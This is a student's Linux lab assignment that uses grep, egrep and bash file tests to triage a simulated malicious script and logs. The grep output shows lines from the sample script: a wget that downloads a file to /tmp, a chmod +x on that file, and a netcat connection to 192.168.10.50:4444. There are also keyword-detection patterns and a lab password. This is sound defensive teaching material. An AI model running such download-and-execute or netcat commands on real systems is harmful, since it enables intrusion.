

LINUX LAB ASSIGNMENT 3

NAME	Sivaramakrishnan R
Roll No	261100690026
Branch	Cyber Security

Part A — Basic grep

Exercise 1 — Search File Contents

Using payload.sh

Find the line containing wget.

Find the line containing nc.

Find the line containing chmod.

Search for WGET ignoring case.

Display the line numbers containing /tmp.

Count the number of lines containing /tmp.

Display only the matched word wget.

Search for nc as a whole word.

```
-rw-r--r-- 1 siva siva 181 Aug 20 08:08 filelist.txt
-rw-r--r-- 1 siva siva 33 Aug 20 08:08 malware1.sh
-rw-r--r-- 1 siva siva 33 Aug 20 08:08 malware2.sh
-rw-r--r-- 1 siva siva 33 Aug 20 08:08 malwareA.sh
-rw-r--r-- 1 siva siva 56 Aug 20 08:08 notes.pdf
-rw-r--r-- 1 siva siva 49 Aug 20 08:08 patterns.txt
-rwxr-xr-x 1 siva siva 291 Aug 20 08:08 payload.sh
drwxrwxr-x 2 siva siva 4096 Aug 20 08:08 quarantine
-rw-r--r-- 1 siva siva 190 Aug 20 08:08 report.txt
-rw-r--r-- 1 siva siva 47 Aug 20 08:08 restricted.txt
-rw-r--r-- 1 siva siva 170 Aug 20 08:08 scanner.py
-rw-r--r-- 1 siva siva 25 Aug 20 08:08 script1.py
-rw-r--r-- 1 siva siva 25 Aug 20 08:08 script2.py
-rw-r--r-- 1 siva siva 361 Aug 20 08:08 system.log
-rwxr-xr-x 1 siva siva 148 Aug 20 08:08 update.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep 'wget' payload.sh
wget http://update-server.local/package.dat -O /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep 'nc' payload.sh
echo "Starting Maintenance"
nc 192.168.10.50 4444
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep 'chmod' payload.sh
chmod +x /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -i 'wget' payload.sh
wget http://update-server.local/package.dat -O /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -n '/tmp' payload.sh
3:TEMP_DIR="/tmp/system_cache"
6: wget http://update-server.local/package.dat -O /tmp/package.dat
9: chmod +x /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -c '/tmp/' payload.sh
3
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -0 'wget' payload.sh
wget http://update-server.local/package.dat -O /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -o 'wget' payload.sh
wget
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nc -l 4444
^C
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -w 'nc' payload.sh
nc 192.168.10.50 4444
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 2 — Compare Files

Search for wget in:

payload.sh

update.sh

cleanup.sh

Answer:

Which file contains wget?

Which files do not contain wget?

Repeat the search for /tmp.

Which files contain /tmp?

Use grep with multiple filenames.

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano update.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano cleanup.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep 'wget' payload.sh update.sh cleanup.sh
payload.sh: wget http://update-server.local/package.dat -O /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -l 'wget' payload.sh update.sh cleanup.sh
payload.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -L 'wget' payload.sh update.sh cleanup.sh
update.sh
cleanup.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '/tmp' payload.sh update.sh cleanup.sh
payload.sh: TEMP_DIR="/tmp/system_cache"
payload.sh: wget http://update-server.local/package.dat -O /tmp/package.dat
payload.sh: chmod +x /tmp/package.dat
cleanup.sh: rm /tmp/application.tmp
cleanup.sh: rm /tmp/old_cache.tmp
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -l '/tmp' payload.sh update.sh cleanup.sh
payload.sh
cleanup.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -c '/tmp' payload.sh update.sh cleanup.sh
payload.sh: 3
update.sh: 0
cleanup.sh: 2
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 3 — Inverse Search

Using system.log:

Display all lines that do not contain INFO.

Display all lines that do not contain ERROR.

Display all lines except those containing WARNING.

Count the number of non-INFO entries.

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -v 'INFO' system.log
WARNING Disk usage reached 80 percent
ERROR Backup operation failed
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
FAILED Security update installation
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -v 'ERROR' system.log
INFO System started successfully
INFO User student logged in
WARNING Disk usage reached 80 percent
INFO Backup process started
INFO User admin logged in
WARNING Unusual file activity detected
INFO System scan completed
FAILED Security update installation
INFO System shutdown initiated
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -v 'WARNING' system.log
INFO System started successfully
INFO User student logged in
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
INFO System shutdown initiated
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -vc 'INFO' system.log
5
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Part B — Security Log Analysis

Exercise 4 — Analyze system.log

Using grep:

Find all ERROR entries.

Find all WARNING entries.

Find the FAILED entry.

Count the number of ERROR entries.

Display line numbers containing WARNING.

Search for error irrespective of case.

Determine whether the word Malware occurs in the file without displaying output.

```

siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep 'ERROR' system.log
ERROR Backup operation failed
ERROR Permission denied while accessing file
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep 'WARNING' system.log
WARNING Disk usage reached 80 percent
WARNING Unusual file activity detected
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep 'FAILED' system.log
FAILED Security update installation
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -c 'ERROR' system.log
2
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -n 'error' system.log
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -n 'WARNING' system.log
3:WARNING Disk usage reached 80 percent
7:WARNING Unusual file activity detected
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -i 'error' system.log
ERROR Backup operation failed
ERROR Permission denied while accessing file
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -q 'Malware' system.log
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ echo $?
127
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -q 'Malware' system.log
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ echo $?
1
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$

```

Exercise 5 — Context Investigation

An ERROR event has been detected in system.log.

Display two lines after each ERROR.

Display two lines before each ERROR.

Display one line before and one line after each ERROR.

Display two lines around FAILED.

Why can examining events before and after an error be useful during incident investigation?

```

siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -A 2 'ERROR' system.log
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -B 2 'ERROR' system.log
WARNING Disk usage reached 80 percent
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -C 1 'ERROR' system.log
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
INFO System scan completed
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -C 2 'ERROR' system.log
WARNING Disk usage reached 80 percent
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$

```

Part C — egrep / grep -E

Exercise 6 — Search Multiple Security Events

Using system.log, write a single command to find lines containing:

ERROR
WARNING
FAILED

CMD - grep -E "ERROR|WARNING|FAILED" system.log

Exercise 7 — Multiple Suspicious Commands

Using payload.sh, search for any of:

wget
curl
nc
chmod

using a single extended regular expression.

Answer:

Which patterns were found? -

Which pattern was not found?

How many lines contain at least one of these patterns?

```

siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -E 'wget|curl|nc|chmod' payload.sh
echo "Starting maintenance"
wget http://update-server.local/package.dat -O /tmp/package.dat
nc 192.168.10.50 4444
chmod +x /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -oE 'wget|curl|nc|chmod' payload.sh
wget
nc
chmod
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -cE 'wget|curl|nc|chmod' payload.sh
4
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 8 — Search Multiple Files

Which files contain at least one selected command?

Display only the filenames containing matches.

Display matching lines with line numbers.

Count the matching lines in each file.

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ egrep -l 'wget|curl|nc|chmod' payload.sh upda
payload.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ egrep -n 'wget|curl|nc|chmod' payload.sh upda
payload.sh:2:echo "Starting maintenance"
payload.sh:6:wget http://update-server.local/package.dat -O /tmp/package.dat
payload.sh:8:nc 192.168.10.50 4444
payload.sh:9:chmod +x /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ egrep -c 'wget|curl|nc|chmod' payload.sh upda
payload.sh:4
update.sh:0
cleanup.sh:0
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Part D — patterns.txt

Your dataset already contains patterns.txt.

Exercise 9 — Pattern File Investigation

Use patterns.txt to:

Search payload.sh.

Search system.log.

Search config.conf.

Search all .sh files.

Display only filenames containing at least one pattern from patterns.txt.

Display matching lines without printing filenames.

Which files contain indicators listed in patterns.txt?

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -f patterns.txt payload.sh
echo "Starting maintenance"
wget http://update-server.local/package.dat -O /tmp/package.dat
nc 192.168.10.50 4444
chmod +x /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -f patterns.txt config.conf
password=LabPassword123
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -f patterns.txt *.sh
payload.sh:echo "Starting maintenance"
payload.sh:wget http://update-server.local/package.dat -O /tmp/package.dat
payload.sh:nc 192.168.10.50 4444
payload.sh:chmod +x /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -lf patterns.txt *.sh
payload.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep -hf patterns.txt *.sh
echo "Starting maintenance"
wget http://update-server.local/package.dat -O /tmp/package.dat
nc 192.168.10.50 4444
chmod +x /tmp/package.dat
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Part E — Regex Using filelist.txt

Exercise 10 — Beginning and End of Line

Using filelist.txt:

Find filenames beginning with malware.

Find filenames beginning with script.

Find filenames ending in .sh.

Find filenames ending in .py.

Find filenames ending in .log.

Find filenames beginning with p and ending in .sh.

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep "^malware" filelist.txt
malware1.sh
malware2.sh
malwareA.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep "^script" filelist.txt
script1.py
script2.py
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep "\.sh$" filelist.txt
payload.sh
update.sh
cleanup.sh
malware1.sh
malware2.sh
malwareA.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep "\.py$" filelist.txt
scanner.py
script1.py
script2.py
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep "\.log$" filelist.txt
system.log
access.log
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep "^p.*\.sh$" filelist.txt
payload.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 11 — Character Classes

Using filelist.txt:

Find malware1.sh and malware2.sh using one pattern.

Find filenames containing a digit.

Find filenames containing digits 1 or 2.

Find filenames beginning with m or p.

Find filenames beginning with s or u.

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '^malware[12]\\.sh$' filelist.txt
malware1.sh
malware2.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '[0-9-]' filelist.txt
grep: Invalid range end
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '[0-9]' filelist.txt
malware1.sh
malware2.sh
script1.py
script2.py
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '[12]' filelist.txt
malware1.sh
malware2.sh
script1.py
script2.py
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '^[mp]' filelist.txt
payload.sh
malware1.sh
malware2.sh
malwareA.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '^[su]' filelist.txt
system.log
update.sh
scanner.py
script1.py
script2.py
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 12 — Negated Character Classes

Using filelist.txt:

Find filenames that do not begin with m.

Find filenames that do not begin with m or p.

Find malware filenames where the character following malware is not a digit.

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '^[^m]' filelist.txt
report.txt
system.log
access.log
config.conf
payload.sh
update.sh
cleanup.sh
scanner.py
script1.py
script2.py
notes.pdf
empty.txt
restricted.txt
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '^[^mp]' filelist.txt
report.txt
system.log
access.log
config.conf
update.sh
cleanup.sh
scanner.py
script1.py
script2.py
notes.pdf
empty.txt
restricted.txt
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ grep '^malware[^0-9]' filelist.txt
malwareA.sh
```

Part F — File Operators

Exercise 13 —

Write a shell script that accepts a filename and determines whether it exists.

Test with:

payload.sh
report.txt
unknown.sh

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano check_file.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./check_file.sh
Enter filename: payload.sh
payload.sh exists
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./check_file.sh
Enter filename: report.txt
report.txt exists
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./check_file.sh
Enter filename: unknown.sh
unknown.sh does not exists
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano check_path.sh
```

Write a script that accepts a path and determines whether it is:

a regular file,
a directory,
or neither.

Test with:

Exercise 14 —

payload.sh
system.log
quarantine
backup
Unknown

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano check_path.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./check_path.sh
Enter path: system.log
system.log is a regular file
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./check_path.sh
Enter path: quarantine
quarantine is a directory
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./check_path.sh
Enter path: unknown
unknown is neither
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 15

Write a script that reports whether a selected file is:

readable,
writable,
executable.

Test with:

payload.sh
update.sh
report.txt
config.conf

Expected style of output:

File: payload.sh

Readable : Yes

Writable : Yes

Executable : Yes

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano filepermissions.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./filepermissions.sh
Enter filename: payload.sh
payload.sh is readable
payload.sh is writable
payload.sh is executable
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./filepermissions.sh
Enter filename: update.sh
update.sh is readable
update.sh is writable
update.sh is executable
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./filepermissions.sh
Enter filename: report.txt
report.txt is readable
report.txt is writable
report.txt is not executable
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./filepermissions.sh
Enter filename: config.conf
config.conf is readable
config.conf is writable
config.conf is not executable
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 16 —

Compare:

payload.sh

empty.txt

Write a script that determines whether each file contains data.

Display:

File contains data

or:

File is empty

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano filedata.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x filedata.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./filedata.sh
Enter filename: payload.sh
payload.sh contains data
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Part G

Exercise 17 — File Validation Using []

Write a script that accepts a filename and checks:

Does it exist?

Is it a regular file?

Is it readable?

Is it non-empty?

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano validate.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x validate.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./validate.sh
Enter filename: payload.sh
payload.sh exists
payload.sh is a regular file
payload.sh is readable
payload.sh is non-empty
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 18 — [] + grep

Write a script with the following logic:

Does file exist?

↓

Is it a regular file?

↓

Is it readable?

↓

Is it non-empty?

↓

Search for "wget"

If wget is detected, display:

Selected indicator detected – investigate further

Otherwise:

Selected indicator not detected

Test using both:

payload.sh

update.sh

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano valid.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x valid.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./valid.sh
Enter filename: payload.sh
payload.sh exists
payload.sh is a regular file
payload.sh is readable
payload.sh is non-empty
Selected indicator detected - investigate further
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./valid.sh
Enter filename: update.sh
update.sh exists
update.sh is a regular file
update.sh is readable
update.sh is non-empty
Selected indicator not detected
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Part H

Exercise 19 — Repeat File Tests Using [[]]

Repeat Exercise 17 using:

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano repeatedval.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x repeatedval.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./repeatedval.sh
Enter filename: payload.sh
payload.sh exists
payload.sh is a regular file
payload.sh is readable
payload.sh is non-empty
Selected indicator detected - investigate further
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 20 — Regex Using [[]]

Write a shell script that accepts a filename and checks whether the filename ends with .sh.

Use:

```
[[ "$filename" =~ regex ]]
```

Display:

Shell script identified for inspection

or:

File does not have a .sh extension

Test:

payload.sh

scanner.py

Report.txt

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano regex.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x regex.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./regex.sh
Enter filename: payload.sh
Shell script identified for inspection
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./regex.sh
Enter filename: scanner.py
File does not have a .sh extension
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./regex.sh
Enter filename: report.txt
File does not have a .sh extension
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Exercise 21 — Multiple Extensions Using [[]]

Extend the previous script to identify:

.sh

.py

.pl

files.

Test:

payload.sh

scanner.py

report.txt

config.conf

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano mul.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x mul.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./mul.sh
Enter filename: payload.sh
Script file - inspect if required
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./mul.sh
Enter filename: scanner.py
Script file - inspect if required
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./mul.sh
Enter filename: report.txt
File does not match a supported extension
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./mul.sh
Enter filename: config.conf
File does not match a supported extension
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$
```

Do not classify these as malicious. Display:

Script file – inspect if required

Part I — grep + File Operators + Constructs

Exercise 22 — Executable File Content Analysis

Write a script that:

Accepts a filename.

Checks whether it exists.

Checks whether it is a regular file.

Checks whether it is executable.

If executable, searches for wget

Test with:

payload.sh

update.sh

report.txt

```

sivaglinux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano execute.sh
sivaglinux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x execute.sh
sivaglinux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./execute.sh
Enter filename: payload.sh
payload.sh exists
payload.sh is a regular file
payload.sh is executable
wget found
sivaglinux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./execute.sh
Enter filename: update.sh
update.sh does not exist
sivaglinux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./execute.sh
Enter filename: update.sh
update.sh exists
update.sh is a regular file
update.sh is executable
wget not found
sivaglinux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./execute.sh
Enter filename: report.txt
report.txt exists
report.txt is a regular file
report.txt is not executable
sivaglinux:~/Downloads/3_lab_support_files/suspicious_file_lab$

```

Exercise 23 — egrep + File Operators

Write a script that performs content analysis only when the selected file is:

- a regular file,
- readable,
- non-empty.

If the checks succeed, use egrep/grep -E to search for:

wget|curl|nc|chmod

Display:

One or more selected indicators detected

if a match occurs.

Otherwise:

Selected indicators not detected

```

siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano rog.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x rog.sh
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./rog.sh
Enter filename: payload.sh
One or more selected indicators detected
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./rog.sh
Enter filename: update.sh
Selected indicators not detected
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$

```

Part J — Configuration File Investigation

Exercise 24 — Sensitive Information Search

Use config.conf.

First verify that it:

- exists,
- is a regular file,
- is readable,
- is non-empty.

Then use egrep to search for:

password|username

Display the matching lines.

Why should configuration files containing authentication information receive additional protection?

```

siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ nano config.conf
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x config.conf.sh
chmod: cannot access 'config.conf.sh': No such file or directory
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ chmod +x config.conf
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./config.conf
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ egrep 'password|username' config.conf
username=admin
password=LabPassword123
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$

```

Part K

Exercise 25 — Suspicious File Triage

Write a Bash program called:

file_check.sh

The program should ask the user to enter a filename.

It should:

Determine whether the path exists.

Determine whether it is a regular file.

Determine whether it is a directory.

If it is a regular file, determine whether it is readable.

Determine whether it is writable.

Determine whether it is executable.

Determine whether it is empty/non-empty.

If readable and non-empty, use grep to search for wget.

Use egrep/grep -E to search for wget|curl|nc|chmod.

Use \$? to determine whether a selected search succeeded.

Use [[]] with regex to determine whether the filename ends in .sh.

Display a summary of the findings.

Example:

Enter filename: payload.sh

----- FILE INVESTIGATION -----

Exists : Yes

Regular File : Yes

Directory : No

Readable : Yes

Writable : Yes

Executable : Yes

Non-empty : Yes

Shell Script : Yes

```
siva@linux:~/Downloads/3_lab_support_files/suspicious_file_lab$ ./file_checking.sh
Enter filename: payload.sh
----- FILE INVESTIGATION -----
Exists : Yes
Regular File : Yes
Directory : No
```

